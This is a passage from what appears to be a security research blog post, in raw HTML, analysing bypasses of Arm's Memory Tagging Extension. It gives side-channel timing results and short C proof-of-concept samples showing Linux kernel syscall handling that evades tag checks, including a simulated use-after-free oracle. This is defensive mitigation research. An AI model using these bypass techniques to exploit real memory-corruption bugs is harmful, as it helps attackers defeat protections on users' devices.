<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">If we really zoom in on measurements from the "Biggest" core, we can see the two lines deviating due to the noise:</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUe4nRuLhn9eG70q6MjBk1ZwThOqtjvk8Ow4K3fd1w5AfjQ2Z3QaP1o0kgfh0X_689apmG5iIm_1yUcnhPJCkBIqtNSNe7TbE8sxB41xNSn915W3owlslLWX1H2afxZSO2-yIzXHCZzEmUEZil-1RnXBTudraaQmID46k6XrrW21jFlkSZh0n7ZJhv/s1284/image3.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUe4nRuLhn9eG70q6MjBk1ZwThOqtjvk8Ow4K3fd1w5AfjQ2Z3QaP1o0kgfh0X_689apmG5iIm_1yUcnhPJCkBIqtNSNe7TbE8sxB41xNSn915W3owlslLWX1H2afxZSO2-yIzXHCZzEmUEZil-1RnXBTudraaQmID46k6XrrW21jFlkSZh0n7ZJhv/s1200/image3.png" border="0" alt="" style="max-height: 750px; max-width: 600px;"title="" /></a></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"><br>Another interesting point is to notice that the graph we have for the biggest core tops out at a probability of ~30%; this is (probably) not because we're hitting the cache, but instead that the timer read is slow that we can't use it to reliably differentiate between cache misses and cache hits most of the time. If we look at a graph of raw latency measurements, we can see this:</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhREEhNQOZ1zMw1afJqw2dsduh3hce6p_qTmY4hFpKYvwp0dFNph4vj3sj9xOv5Fpx7--neSHRNUI30C7UAe0GuJwSDXN5vYOlGRiPgnrWMj9c1KJ9fOpNmKLTFMK54aOQjzWeV2iPtMeFfGUTG94yKS6W5sfPvNUeVOPDObnodsQKZtLMK6Onc_3tB/s1276/image2.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhREEhNQOZ1zMw1afJqw2dsduh3hce6p_qTmY4hFpKYvwp0dFNph4vj3sj9xOv5Fpx7--neSHRNUI30C7UAe0GuJwSDXN5vYOlGRiPgnrWMj9c1KJ9fOpNmKLTFMK54aOQjzWeV2iPtMeFfGUTG94yKS6W5sfPvNUeVOPDObnodsQKZtLMK6Onc_3tB/s1200/image2.png" border="0" alt="" style="max-height: 750px; max-width: 600px;"title="" /></a></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">The important thing is that there's no significant difference between the results for the failure and success cases, which suggests that there's no clear speculative side-channel that would allow an attacker to build a side-channel tag-check oracle directly.</span></p><h2 class="LtslleXhTC-c39 LtslleXhTC-c11" id="h.tum68qy04i7z"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c24">Software Implementation</span></h2>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">There are several ways that we identified that the current software implementation around the use of MTE could lead to bypasses if MTE were used as a security mitigation. <br><br>As described below, </span><span class="LtslleXhTC-c0">Issues</span><span class="LtslleXhTC-c0"> </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c19" href="#h.mom86f64gsnm">1</a></span><span class="LtslleXhTC-c0"> and </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c19" href="#h.5lefjf6v19hr">2</a></span><span class="LtslleXhTC-c0 LtslleXhTC-c26"> </span><span class="LtslleXhTC-c0 LtslleXhTC-c26">are quirks of the current implementation that it may or may not be possible to address with kernel changes. They are both of limited scope and only apply to very specific conditions, so they likely don't have a particularly significant impact on the applicability of MTE as a security mitigation (although they have some implications for the coverage of such a mitigation.)</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c7 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">Issue </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c19" href="#h.slz47uww66dv">3</a></span><span class="LtslleXhTC-c0"> is a detail of the current implementation of Breakpad, and serves to highlight a particular class of weakness that will require careful audit of signal handling code in any application that wishes to use MTE as a security mitigation.<br><br>Issue </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c19" href="#h.quhrhy4chqpx">4</a></span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> is a fundamental weakness that likely cannot be effectively addressed. We would not characterize this as meaning that MTE could not be applied as a security mitigation, but rather a limitation on the claims that one could make about the effectiveness of such a mitigation.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">To be more specific, both issues </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c19" href="#h.slz47uww66dv">3</a></span><span class="LtslleXhTC-c0"> and </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c19" href="#h.quhrhy4chqpx">4</a></span><span class="LtslleXhTC-c0"> are bound by some fairly significant limitations, which would have varying impact on exploitability of memory corruption issues depending on the specific context in which the issue occurs. See below for more discussion on this topic.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c29">TL;DR; In our testing we identified some areas for improvement on the software side, and demonstrated that it is possible to use the narrow "exploitation window" to avoid the side-effects of tag-check failures under some circumstances, meaning that any mitigation based on async MTE is likely limited to a "soft mitigation" regardless of tagging strategy.</span></p><h3 class="LtslleXhTC-c15 LtslleXhTC-c11" id="h.mom86f64gsnm"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c33">1. Handling of system call arguments [ASYNC]</span></h3>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">There's a </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c191" href="https://elixir.bootlin.com/linux/v5.18.9/source/Documentation/arm64/memory-tagging-extension.rst#L111">documented limitation</a></span><span class="LtslleXhTC-c0"> of the current handling of the async MTE check mode in the linux kernel, which is that the kernel </span><span class="LtslleXhTC-c0">does not catch invalid accesses</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> to userspace pointers. This means that kernel-space accesses to incorrectly tagged user-space pointers during a system call will not be detected.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">There are likely good technical reasons for this limitation, but we plan to investigate improving this coverage in the future.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">We provide a sample that demonstrates this limitation, </span><span class="LtslleXhTC-c32"><a class="LtslleXhTC-c191" href="https://github.com/googleprojectzero/p0tools/blob/master/MTETest/software_issue_1.c">software_issue_1.c</a></span><span class="LtslleXhTC-c0">.<br></span></p><a id="t.8f0fdf111fc851ee54c5d3d0667b7c8ebd951dde"></a><a id="t.2"></a><table class="LtslleXhTC-c8"><tr class="LtslleXhTC-c3"><td class="LtslleXhTC-c30 LtslleXhTC-c26" colspan="1" rowspan="1">
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">mte_enable</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10 LtslleXhTC-c18">false</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> DEFAULT_TAG_MASK</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">uint64_t</span><span class="LtslleXhTC-c1">*</span><span class="LtslleXhTC-c10"> ptr </span><span class="LtslleXhTC-c1">=</span><span class="LtslleXhTC-c10"> mmap</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">NULL</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0x1000</span><span class="LtslleXhTC-c1">,</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> PROT_READ</span><span class="LtslleXhTC-c1">|</span><span class="LtslleXhTC-c10">PROT_WRITE</span><span class="LtslleXhTC-c1">|</span><span class="LtslleXhTC-c10">PROT_MTE</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> MAP_ANONYMOUS</span><span class="LtslleXhTC-c1">|</span><span class="LtslleXhTC-c10">MAP_PRIVATE</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">-</span><span class="LtslleXhTC-c10 LtslleXhTC-c13">1</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">uint64_t</span><span class="LtslleXhTC-c1">*</span><span class="LtslleXhTC-c10"> tagged_ptr </span><span class="LtslleXhTC-c1">=</span><span class="LtslleXhTC-c10"> mte_tag_and_zero</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0x1000</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">memset</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">tagged_ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0x23</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0x1000</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10 LtslleXhTC-c18">int</span><span class="LtslleXhTC-c10"> fd </span><span class="LtslleXhTC-c1">=</span><span class="LtslleXhTC-c10"> open</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10 LtslleXhTC-c28">"/dev/urandom"</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> O_RDONLY</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">fprintf</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">stderr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c28">"%p %p\n"</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> tagged_ptr</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">read</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">fd</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10 LtslleXhTC-c47"> </span><span class="LtslleXhTC-c5">ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0x1000</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10 LtslleXhTC-c18">assert</span><span class="LtslleXhTC-c1">(*</span><span class="LtslleXhTC-c10">tagged_ptr </span><span class="LtslleXhTC-c1">==</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0x2323232323232323ull</span><span class="LtslleXhTC-c1">);</span></p></td></tr></table>
<p class="LtslleXhTC-c2 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c20 LtslleXhTC-c16"></span></p><a id="t.e04c823cc84070116900a5dd009a203c24fa85be"></a><a id="t.3"></a><table class="LtslleXhTC-c8"><tr class="LtslleXhTC-c3"><td class="LtslleXhTC-c26 LtslleXhTC-c30" colspan="1" rowspan="1">
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">taro:/ $ /data/local/tmp/software_issue_1 </span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">0x7722c5d000 0x800007722c5d000</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">software_issue_1: ./software_issue_1.c:46: int main(int, char **): Assertion `*tagged_ptr == 0x2323232323232323ull' failed.</span></p></td></tr></table><h3 class="LtslleXhTC-c11 LtslleXhTC-c15" id="h.5lefjf6v19hr"><span>2. </span><span class="LtslleXhTC-c12 LtslleXhTC-c20 LtslleXhTC-c33">Handling of system call arguments [SYNC]</span></h3>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">The way that the sync MTE check mode is currently implemented in the linux kernel means that kernel-space accesses to incorrectly tagged user-space pointers result in the system call returning </span><span class="LtslleXhTC-c32">EFAULT</span><span class="LtslleXhTC-c0">. While this is probably the cleanest and simplest approach, and is consistent with current kernel </span><span class="LtslleXhTC-c0">behaviour</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> especially when it comes to handling results for partial operations, this has the potential to lead to bypasses/oracles in some circumstances.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">We plan to investigate replacing this </span><span class="LtslleXhTC-c0">behaviour</span><span class="LtslleXhTC-c0"> with </span><span class="LtslleXhTC-c32">SIGSEGV</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> delivery instead (specifically for MTE tag check failures).</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">The provided sample, </span><span class="LtslleXhTC-c32"><a class="LtslleXhTC-c191" href="https://github.com/googleprojectzero/p0tools/blob/master/MTETest/software_issue_2.c">software_issue_2.c</a></span><span class="LtslleXhTC-c0"> is a very simple demonstration of this situation.<br></span></p><a id="t.deed3115c9498a2adb11f5e5ca63e5b59c56cddf"></a><a id="t.4"></a><table class="LtslleXhTC-c8"><tr class="LtslleXhTC-c3"><td class="LtslleXhTC-c30 LtslleXhTC-c26" colspan="1" rowspan="1">
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">size_t readn</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10 LtslleXhTC-c18">int</span><span class="LtslleXhTC-c10"> fd</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">void</span><span class="LtslleXhTC-c1">*</span><span class="LtslleXhTC-c10"> ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> size_t len</span><span class="LtslleXhTC-c1">)</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">{</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">char</span><span class="LtslleXhTC-c1">*</span><span class="LtslleXhTC-c10"> start_ptr </span><span class="LtslleXhTC-c1">=</span><span class="LtslleXhTC-c10"> ptr</span><span class="LtslleXhTC-c1">;</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">char</span><span class="LtslleXhTC-c1">*</span><span class="LtslleXhTC-c10"> read_ptr </span><span class="LtslleXhTC-c1">=</span><span class="LtslleXhTC-c10"> ptr</span><span class="LtslleXhTC-c1">;</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">while</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">read_ptr </span><span class="LtslleXhTC-c1"><</span><span class="LtslleXhTC-c10"> start_ptr </span><span class="LtslleXhTC-c1">+</span><span class="LtslleXhTC-c10"> len</span><span class="LtslleXhTC-c1">)</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">{</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> ssize_t result </span><span class="LtslleXhTC-c1">=</span><span class="LtslleXhTC-c10"> read</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">fd</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> read_ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> start_ptr </span><span class="LtslleXhTC-c1">+</span><span class="LtslleXhTC-c10"> len </span><span class="LtslleXhTC-c1">-</span><span class="LtslleXhTC-c10"> read_ptr</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">if</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">result </span><span class="LtslleXhTC-c1"><=</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0</span><span class="LtslleXhTC-c1">)</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">{</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">return</span><span class="LtslleXhTC-c10"> read_ptr </span><span class="LtslleXhTC-c1">-</span><span class="LtslleXhTC-c10"> start_ptr</span><span class="LtslleXhTC-c1">;</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">}</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">else</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">{</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> read_ptr </span><span class="LtslleXhTC-c1">+=</span><span class="LtslleXhTC-c10"> result</span><span class="LtslleXhTC-c1">;</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">}</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">}</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">return</span><span class="LtslleXhTC-c10"> len</span><span class="LtslleXhTC-c1">;</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c1">}</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c7"><span class="LtslleXhTC-c4 LtslleXhTC-c12"></span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10 LtslleXhTC-c18">int</span><span class="LtslleXhTC-c10"> main</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10 LtslleXhTC-c18">int</span><span class="LtslleXhTC-c10"> argc</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">char</span><span class="LtslleXhTC-c1">**</span><span class="LtslleXhTC-c10"> argv</span><span class="LtslleXhTC-c1">)</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">{</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">int</span><span class="LtslleXhTC-c10"> pipefd</span><span class="LtslleXhTC-c1">[</span><span class="LtslleXhTC-c10 LtslleXhTC-c13">2</span><span class="LtslleXhTC-c1">];</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c7"><span class="LtslleXhTC-c4 LtslleXhTC-c12"></span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> mte_enable</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10 LtslleXhTC-c18">true</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> DEFAULT_TAG_MASK</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> uint64_t</span><span class="LtslleXhTC-c1">*</span><span class="LtslleXhTC-c10"> ptr </span><span class="LtslleXhTC-c1">=</span><span class="LtslleXhTC-c10"> mmap</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">NULL</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0x1000</span><span class="LtslleXhTC-c1">,</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> PROT_READ</span><span class="LtslleXhTC-c1">|</span><span class="LtslleXhTC-c10">PROT_WRITE</span><span class="LtslleXhTC-c1">|</span><span class="LtslleXhTC-c10">PROT_MTE</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> MAP_ANONYMOUS</span><span class="LtslleXhTC-c1">|</span><span class="LtslleXhTC-c10">MAP_PRIVATE</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">-</span><span class="LtslleXhTC-c10 LtslleXhTC-c13">1</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> ptr </span><span class="LtslleXhTC-c1">=</span><span class="LtslleXhTC-c10"> mte_tag</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0x10</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> strcpy</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c28">"AAAAAAAAAAAAAAA"</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c7"><span class="LtslleXhTC-c4 LtslleXhTC-c12"></span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">assert</span><span class="LtslleXhTC-c1">(!</span><span class="LtslleXhTC-c10">pipe</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">pipefd</span><span class="LtslleXhTC-c1">));</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> write</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">pipefd</span><span class="LtslleXhTC-c1">[</span><span class="LtslleXhTC-c10 LtslleXhTC-c13">1</span><span class="LtslleXhTC-c1">],</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c28">"BBBBBBBBBBBBBBB"</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0x10</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c7"><span class="LtslleXhTC-c4 LtslleXhTC-c12"></span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">// In sync MTE mode, kernel MTE tag-check failures cause system calls to fail</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">// with EFAULT rather than triggering a SIGSEGV. Existing code doesn't</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">// generally expect to receive EFAULT, and is very unlikely to handle it as a</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">// critical error.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c7"><span class="LtslleXhTC-c4 LtslleXhTC-c12"></span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> uint64_t</span><span class="LtslleXhTC-c1">*</span><span class="LtslleXhTC-c10"> new_ptr </span><span class="LtslleXhTC-c1">=</span><span class="LtslleXhTC-c10"> ptr</span><span class="LtslleXhTC-c1">;</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">while</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">(!</span><span class="LtslleXhTC-c10">strcmp</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">new_ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c28">"AAAAAAAAAAAAAAA"</span><span class="LtslleXhTC-c1">))</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">{</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">// Simulate a use-after-free, where new_ptr is repeatedly free'd and ptr</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">// is accessed after the free via a syscall.</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> new_ptr </span><span class="LtslleXhTC-c1">=</span><span class="LtslleXhTC-c10"> mte_tag</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">new_ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0x10</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> strcpy</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">new_ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c28">"AAAAAAAAAAAAAAA"</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c7"><span class="LtslleXhTC-c4 LtslleXhTC-c12"></span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> size_t bytes_read </span><span class="LtslleXhTC-c1">=</span><span class="LtslleXhTC-c10"> readn</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">pipefd</span><span class="LtslleXhTC-c1">[</span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0</span><span class="LtslleXhTC-c1">],</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c5">ptr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c13">0x10</span><span class="LtslleXhTC-c1">);</span></p>
